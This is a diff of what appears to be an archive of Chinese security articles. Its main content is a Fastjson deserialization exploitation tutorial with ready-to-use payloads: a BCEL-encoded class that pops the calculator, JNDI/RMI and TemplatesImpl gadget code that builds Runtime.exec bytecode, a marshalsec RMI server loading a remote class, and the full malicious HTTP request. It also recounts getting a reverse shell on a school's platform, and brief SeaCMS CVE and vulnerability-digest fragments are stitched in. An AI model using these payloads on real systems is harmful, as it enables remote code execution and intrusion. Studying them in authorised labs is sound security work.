||||
}
|
||||
```
|
||||
|
||||
### 六、Fastjson <=1.2.62 和 <=1.2.66版本
|
||||
|
||||
积累的两个poc
|
||||
,基于黑名单绕过fastjson <= 1.2.62
|
||||
```
|
||||
```
|
||||
|
||||
|
||||
基于fastjson<=1.2.66
|
||||
的poc
|
||||
```
|
||||
```
|
||||
###
|
||||
### 七、Fastjson 1.2.80版本
|
||||
|
||||
构造poc
|
||||
如下,成功弹出计算器
|
||||
```
|
||||
{
|
||||
"a": {
|
||||
"@type": "java.lang.Class",
|
||||
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
|
||||
},
|
||||
"b": {
|
||||
"@type": "java.lang.Class",
|
||||
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
|
||||
},
|
||||
"c": {
|
||||
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
|
||||
"driverClassLoader": {
|
||||
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
|
||||
},
|
||||
"driverClassName": "$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### 八、bit4woo师傅汇总的POC
|
||||
|
||||
**参考文档:**
|
||||
|
||||
https://github.com/bit4woo/code2sec.com/blob/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0%E5%AE%9E%E8%B7%B5%E4%B8%83%EF%BC%9Afastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96PoC%E6%B1%87%E6%80%BB.md
|
||||
####
|
||||
#### 1、基于com.sun.rowset.JdbcRowSetImpl的PoC1
|
||||
|
||||
该PoC需要使用JNDI,需要搭建web服务,RMI服务或LDAP服务,利用相对麻烦。但对于检测fastjson漏洞是否存在,这个却是最简单有效的(结合DNSlog)。
|
||||
```
|
||||
package fastjsonPoCs;
|
||||
import com.alibaba.fastjson.JSON;
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
/*
|
||||
* 基于JNDI的PoC,可用的JNDI服务器有RMI,ldap。
|
||||
*
|
||||
*/
|
||||
public class PoC1JNDI {
|
||||
public static void main(String[] argv){
|
||||
String xx = payload();
|
||||
}
|
||||
public static String payload(){
|
||||
//JDK 8u121以后版本需要设置改系统变量
|
||||
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
|
||||
//LADP
|
||||
String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}";
|
||||
//RMI
|
||||
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ref\",\"autoCommit\":true}";
|
||||
JSONObject.parseObject(payload2);
|
||||
JSON.parse(payload2);
|
||||
return payload2;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
以上poc共有三个触发点:静态代码块(Class.forName())、类实例化、和getObjectInstance()方法。
|
||||
|
||||
#### 2、基于com.sun.org.apache.bcel.internal.util.ClassLoader的PoC2
|
||||
|
||||
这个PoC是漏洞利用时最方便的,它不需要依赖JNDI等服务,所有内容一个请求中搞定。
|
||||
```
|
||||
package fastjsonPoCs;
|
||||
import evilClass.*;
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
import com.sun.org.apache.bcel.internal.classfile.Utility;
|
||||
/*
|
||||
* 基于org.apache.tomcat.dbcp.dbcp.BasicDataSource的PoC,当然也可以说是基于com.sun.org.apache.bcel.internal.util.ClassLoader的PoC
|
||||
* 前者的主要作用是触发,也就是包含Class.forName()函数的逻辑(createConnectionFactory函数中);后者是类加载器,可以解析特定格式的类byte[]。
|
||||
*
|
||||
*
|
||||
* org.apache.tomcat.dbcp.dbcp.BasicDataSource ----- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp 比如tomcat-dbcp-7.0.65.jar
|
||||
* org.apache.tomcat.dbcp.dbcp2.BasicDataSource ----- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp 比如tomcat-dbcp-9.0.13.jar
|
||||
* org.apache.commons.dbcp.BasicDataSource ----- https://mvnrepository.com/artifact/commons-dbcp/commons-dbcp
|
||||
* org.apache.commons.dbcp2.BasicDataSource ----- https://mvnrepository.com/artifact/org.apache.commons/commons-dbcp2
|
||||
*
|
||||
* 主要参考:https://xz.aliyun.com/t/2272
|
||||
*/
|
||||
public class PoC2dbcp {
|
||||
public static void main(String[] argv){
|
||||
String xx = payload2();
|
||||
}
|
||||
public static String payload2() {
|
||||
//payload3:https://xz.aliyun.com/t/2272
|
||||
try {
|
||||
String payload2 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
|
||||
// payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
|
||||
// payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
|
||||
// payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.commons.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
|
||||
byte[] bytecode = createEvilClass.create("evil","calc");
|
||||
String classname = Utility.encode(bytecode,true);
|
||||
//System.out.println(classname);
|
||||
classname = "org.apache.log4j.spi$$BCEL$$"+classname;
|
||||
payload2 = payload2.replace("xxxxxxxxxx", classname);
|
||||
// ClassLoader cls = new com.sun.org.apache.bcel.internal.util.ClassLoader();
|
||||
// Class.forName(classname, true, cls);
|
||||
JSONObject.parseObject(payload2);
|
||||
return payload2;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### 3、基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的PoC3(来自廖新喜)
|
||||
|
||||
这个PoC有限制,需要引用程序是如下写法:
|
||||
```
|
||||
JSON.parseObject(payload3, Object.class, config, Feature.SupportNonPublicField)
|
||||
```
|
||||
|
||||
在实际的环境中基本遇不到,但其中的思路还是值得学习的。
|
||||
```
|
||||
package fastjsonPoCs;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import com.alibaba.fastjson.JSON;
|
||||
import com.alibaba.fastjson.parser.Feature;
|
||||
import com.alibaba.fastjson.parser.ParserConfig;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
||||
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
||||
/*
|
||||
* 该poc来自于廖新喜大佬的文章:http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
|
||||
* 基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,构造的恶意类需要是继承了AbstractTranslet的。
|
||||
*/
|
||||
public class PoC3TemplatesImpl {
|
||||
public static void main(String[] argv){
|
||||
String xx = payload3();
|
||||
}
|
||||
public static String payload3() {
|
||||
try {
|
||||
//http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
|
||||
String payload3 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"xxxxxxxxxx\"], \"_name\": \"1111\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
|
||||
byte[] bytecode1 = Gadget.createEvilBytecode("calc");
|
||||
String className = TemplatesImpl.class.getName();//com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
|
||||
payload3 = payload3.replace("xxxxxxxxxx", Base64.encodeBase64String(bytecode1));
|
||||
System.out.println(payload3);
|
||||
ParserConfig config = new ParserConfig();
|
||||
Object obj = JSON.parseObject(payload3, Object.class, config, Feature.SupportNonPublicField);
|
||||
return payload3;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
class Gadget {
|
||||
public static class evil extends AbstractTranslet{
|
||||
@Override
|
||||
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
|
||||
@Override
|
||||
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
|
||||
}
|
||||
static byte[] createEvilBytecode(final String command) throws Exception {
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
// 获取class
|
||||
System.out.println("ClassName: " + evil.class.getName());
|
||||
final CtClass clazz = classPool.get(evil.class.getName());
|
||||
// 插入静态代码块,在代码末尾。
|
||||
clazz.makeClassInitializer().insertAfter(
|
||||
"java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"
|
||||
);
|
||||
clazz.setName("evilxxx");//类的名称,可以通过它修改。
|
||||
clazz.writeFile("D:\\");//将生成的.class文件保存到磁盘
|
||||
// 获取bytecodes
|
||||
final byte[] classBytes = clazz.toBytecode();
|
||||
return classBytes;
|
||||
}
|
||||
}
|
||||
```
|
||||
####
|
||||
####
|
||||
|
||||

|
||||
|
||||
****
|
||||
**0x4 Fastjson自动化检测插件**
|
||||
### 一、BurpFastJsonScan插件
|
||||
|
||||
这里呢我就给师傅们推荐下两款burpsuit上面的自动化检测fastjson的插件,这两个插件会对BurpSuite传进来的带有json数据的请求包进行检测,对于像我这样上班爱摸鱼的马楼来讲还是蛮适合的,哈哈哈。
|
||||
|
||||
首先,介绍的是BurpFastJsonScan 这款插件是一个希望能节省一些渗透时间好进行划水的扫描插件,该插件会对BurpSuite传进来的带有json数据的请求包进行检测。
|
||||
|
||||
目前的功能如下:
|
||||
- 命令回显
|
||||
|
||||
- 远程命令执行
|
||||
|
||||
下载链接:
|
||||
https://github.com/pmiaowu/BurpFastJsonScan
|
||||
|
||||
安装这个插件也很简单,无脑操作如下:
|
||||
|
||||

|
||||
|
||||
|
||||
这里就来简单的介绍下他这款工具的一个检测规则吧
|
||||
- POST 的内容为json
|
||||
|
||||
- GET 的参数内容为json
|
||||
|
||||
- POST 的参数内容为json
|
||||
|
||||
- Cookie 的参数内容为json
|
||||
|
||||
```
|
||||
例子:GET, POST, Cookie 有个参数 jsonjson = {"aaa":"66666"}那么就会去检测json的这种就是请求包的内容直接就是json不带参数的那种, 也会去检测
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
### 二、FastjsonScan插件
|
||||
|
||||
FastjsonScan插件是一个简单的Fastjson反序列化检测burp插件,其实跟上面那个使用起来都是差不多的,区别在于插件检测的效率可能不一样,两个插件我都是推荐jdk1.8的环境,其实不光的fastjson漏洞要利用jdk1.8,你在复现好多Java反序列化漏洞的时候都是需要这个版本环境的,到文末我也会给师傅们推荐一个文章,去如何安装jdk1.8的环境。
|
||||
|
||||
工具下载链接:
|
||||
https://github.com/Maskhe/FastjsonScan?tab=readme-ov-file
|
||||
|
||||
安装和使用都和上面的插件差不多,这里给师傅们看看使用FastjsonScan插件扫描结果界面:
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
****
|
||||
**0x5 Fastjson环境搭建+漏洞复现**
|
||||
|
||||
### 一、环境搭建
|
||||
|
||||
靶机:Ubantu IP 192.168.103.161 (先要安装docker,然后下载vulhub) 启动vulhub里面的fastjson环境
|
||||
|
||||
攻击机:kali IP 192.168.103.129
|
||||
|
||||
我们先利用Ubantu进入vulnhub靶场,进入/vulhub/fastjson/1.2.24-rce目录下,然后执行以下命令,看到done,那么就表示环境开启成功了。
|
||||
```
|
||||
```
|
||||
##
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
查看我们ubantu中docker开启环境的端口情况,端口是8090
|
||||
```
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
我们访问 ubantu的IP+端口,192.168.103.161:8090,得到如下的界面:
|
||||
|
||||

|
||||
|
||||
|
||||
### 二、漏洞复现
|
||||
#### 1、远程创建文件
|
||||
|
||||
一、这里要创建java代码文件,所以对环境比较严格,要保证java和javac的版本一致,且都是1.8的版本!!!
|
||||
|
||||

|
||||
|
||||
|
||||
二、我们先在本地把java代码文件编译好,然后再上传到攻击机:kali下保存以下代码为TouchFile.java文件
|
||||
```
|
||||
// javac TouchFile.java
|
||||
import java.lang.Runtime;
|
||||
import java.lang.Process;
|
||||
public class TouchFile {
|
||||
static {
|
||||
try {
|
||||
Runtime rt = Runtime.getRuntime();
|
||||
String[] commands = {"touch", "/tmp/successFrank"};
|
||||
Process pc = rt.exec(commands);
|
||||
pc.waitFor();
|
||||
} catch (Exception e) {
|
||||
// do nothing
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
三、编译.java文件,生成.class文件。
|
||||
```
|
||||
javac TouchFile.java
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
四、然后我们再把编译好的.class文件上传到攻击机kali目录下
|
||||
|
||||

|
||||
|
||||
|
||||
五、在class文件所在的目录,Python起一个http服务。用4444端口启动http服务的命令为:
|
||||
```
|
||||
┌──(root-kali)-[~/桌面/fastjson]
|
||||
└─# python -m http.server 4444
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
六、访问kali的IP+开启http服务的4444端口,就会出现下面的页面
|
||||
|
||||

|
||||
|
||||
|
||||
#### 2、开启RMI服务
|
||||
|
||||
一、开启rmi服务之前,我们需要利用marshalsec项目,需要用到marshalsec-0.0.3-SNAPSHOT-all.jar工具,下载链接如下:
|
||||
https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
二、接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:
|
||||
|
||||
开启RMI服务,命令行中的IP地址是kali攻击机开始开启http服务的地址
|
||||
```
|
||||
┌──(root-kali)-[~/桌面/Apache-Log4j-Learning-main/tools]
|
||||
└─# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.103.129:4444/#TouchFile" 9999
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
三、利用burp抓取靶机ubantu(192.168.103.161:8090)的包,然后再改变抓到的包的请求方式为POST,然后再发送到Repeater中。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
四、添加payload,师傅们可以参考我这个请求包的内容,因为我开始在网上找了很多,然后rmi服务监听都没有回应,都失败了。
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: 192.168.103.161:8090
|
||||
Pragma: no-cache
|
||||
Cache-Control: no-cache
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh,zh-CN;q=0.9
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Cache-Control: max-age=0
|
||||
Content-Type: application/json
|
||||
Content-Length: 165
|
||||
{
|
||||
"b":{
|
||||
"@type":"com.sun.rowset.JdbcRowSetImpl",
|
||||
"dataSourceName":"rmi://192.168.103.129:9999/TouchFile",
|
||||
"autoCommit":true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
主要是看这两个地方,圈起来的是主要payload,然后看是否成功执行了,就看返回包中是否回显500关键字。
|
||||
|
||||

|
||||
|
||||
|
||||
然后可以看到rmi服务的监听和开启的http服务都有回应了。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
五、我们开始的TouchFile.java这个脚本文件,我们是让他执行touch /tmp/successFrank 目录文件,我们来看看是否执行成功了。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
详细步骤如下:
|
||||
```
|
||||
1、docker ps //找到CONTAINER ID
|
||||
2、docker exec -it CONTAINER ID /bin/bash //就可以进入CONTAINER ID当前目录下了
|
||||
3、cd /tmp
|
||||
4、ls //就可以看到创建的successFrank文件了
|
||||
```
|
||||
|
||||

|
||||
|
||||
目前,我们就把漏洞复现成功了!!!
|
||||
|
||||
|
||||

|
||||
|
||||
****
|
||||
**0x6 实战案例分享**
|
||||
|
||||
|
||||
上面使用vulhub靶场镜像复现了fastjson漏洞1.2.24-rce版本的,下面就给师傅们分享下我之前挖EDUSRC漏洞的时候碰到的fastjson<=1.2.47版本的fastjson漏洞,当时也是顺利使用fastjson_tool去构造fastjson<=1.2.47左右的利用链成功,然后打了一个rce,最后提交了EDUSRC漏洞平台
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
当时是在逛一个学校的虚拟仿真实验室首页,然后看到这里仿真实验,然后点进去
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
但是这里点击使用平台需要我们输入账户密码,但是这里也有一个注册接口,然后这里我也就是正常的注册一个用户,然后再登录,输入账户和密码
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
像这样的登录口,有什么记住密码选项或者登录框,我常会直接打开我的burpsuit插件,比如shiroscan和上面介绍的fastjsonscan插件进行一个自动化扫描。
|
||||
|
||||
这里我们可以看到,burpsuit的fastjsonscan插件扫出改登录口存在fastjson漏洞,通过利用链可看出该fastjson版本在1.2.47左右,这里我们直接使用
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
然后可以使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar这个工具生成JNDI链接的工具可以启动多个服务器来利用JNDI注入漏洞,然后打fastjson漏洞
|
||||
|
||||
下载链接:
|
||||
https://github.com/welk1n/JNDI-Injection-Exploit
|
||||
、、
|
||||
```
|
||||
java -jar https://github.com/welk1n/JNDI-Injection-Exploit -C '[command]ping dnslog.cn' -A vps_ip
|
||||
```
|
||||
|
||||
后面就是常规的步骤了,这里也是成功反弹shell了
|
||||
|
||||

|
||||
|
||||
|
||||
##
|
||||
|
||||

|
||||
|
||||
****
|
||||
**0x7 总结**
|
||||
|
||||
|
||||
到这里呢这篇Fastjson漏洞相关的分享就结束了,这里祝愿师傅们多挖洞,多出洞!
|
||||
|
||||
然后呢,下面就是文章中出现的一些文章链接,比如jdk1.8的安装教程包括vulnhub的一个安装,还有就是参考文章之类的,包括上面文字中介绍用到的工具之类的下载链接。
|
||||
|
||||
JDK1.8安装详细教程:
|
||||
https://blog.csdn.net/m0_54899775/article/details/122420533
|
||||
|
||||
安装vulnhub详细教程:
|
||||
https://blog.csdn.net/m0_54899775/article/details/122463532
|
||||
|
||||
哔哩哔哩视频讲解:【fastjson反序列化漏洞演示加详细讲解加原理】
|
||||
https://www.bilibili.com/video/BV1Ab4y1d7w1/?share_source=copy_web&vd_source=268f8d699ac32cf11e9bdc248399c5bd
|
||||
|
||||
参考文章:
|
||||
|
||||
https://github.com/bit4woo/code2sec.com
|
||||
|
||||
https://xz.aliyun.com/t/14872
|
||||
|
||||
burpsuit插件及工具下载:
|
||||
|
||||
https://github.com/pmiaowu/BurpFastJsonScan
|
||||
|
||||
https://github.com/Maskhe/FastjsonScan?tab=readme-ov-file
|
||||
|
||||
https://github.com/welk1n/JNDI-Injection-Exploit
|
||||
|
||||
**文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担。**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
我们是神农安全,
|
||||
**点赞 + 在看**
|
||||
铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
圈子专注于更新src相关:
|
||||
|
||||
```
|
||||
1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例
|
||||
2、分享src优质视频课程
|
||||
3、分享src挖掘技巧tips
|
||||
4、微信小群一起挖洞
|
||||
5、不定期有众测、渗透测试项目
|
||||
6、需要职业技能大赛环境dd我
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**欢迎加入星球一起交流,券后价仅40元!!! 即将满200人涨价**
|
||||
|
||||
**长期更新,更多的0day/1day漏洞POC/EXP**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# 漏洞预警 | SeaCMS海洋影视管理系统远程代码执行漏洞
|
||||
浅安 浅安安全 2024-12-28 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # CVE-2024-55461
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
海洋CMS是为解决站长核心需求而设计的内容管理系统,一套程序自适应电脑、手机、平板、APP多个终端入口,无任何加密代码、安全有保障,是您最佳的建站工具。
|
||||
|
||||

|
||||
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**CVE-2024-55461**
|
||||
|
||||
**漏洞类型:**
|
||||
远程代码执行
|
||||
|
||||
**影响:**
|
||||
执行任意代码
|
||||
|
||||
****
|
||||
|
||||
**简述:**
|
||||
海洋CMS的/ebak/phome.php接口处存在远程代码执行漏洞,经过身份验证的远程攻击者可利用该漏洞执行任意代码写入后门文件,进而控制整个web服务器。
|
||||
|
||||
**0x04 影响版本**
|
||||
- 海洋CMS <= 13.0
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:**
|
||||
|
||||
https://www.seacms.net/
|
||||
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
# 赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞
|
||||
原创 马赛克安全实验室 马赛克安全实验室 2024-12-27 01:21
|
||||
thelostworld 2024-12-28 02:46
|
||||
|
||||
免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!马赛克安全实验室情报申明(可点击查看)
|
||||

|
||||
@@ -24,6 +24,7 @@
|
||||
body="Images/duanxin.jpg"
|
||||
```
|
||||
|
||||
|
||||

|
||||
- 漏洞复现:
|
||||
|
||||
@@ -138,3 +139,11 @@ body="themes/tenant/css/login.css"
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user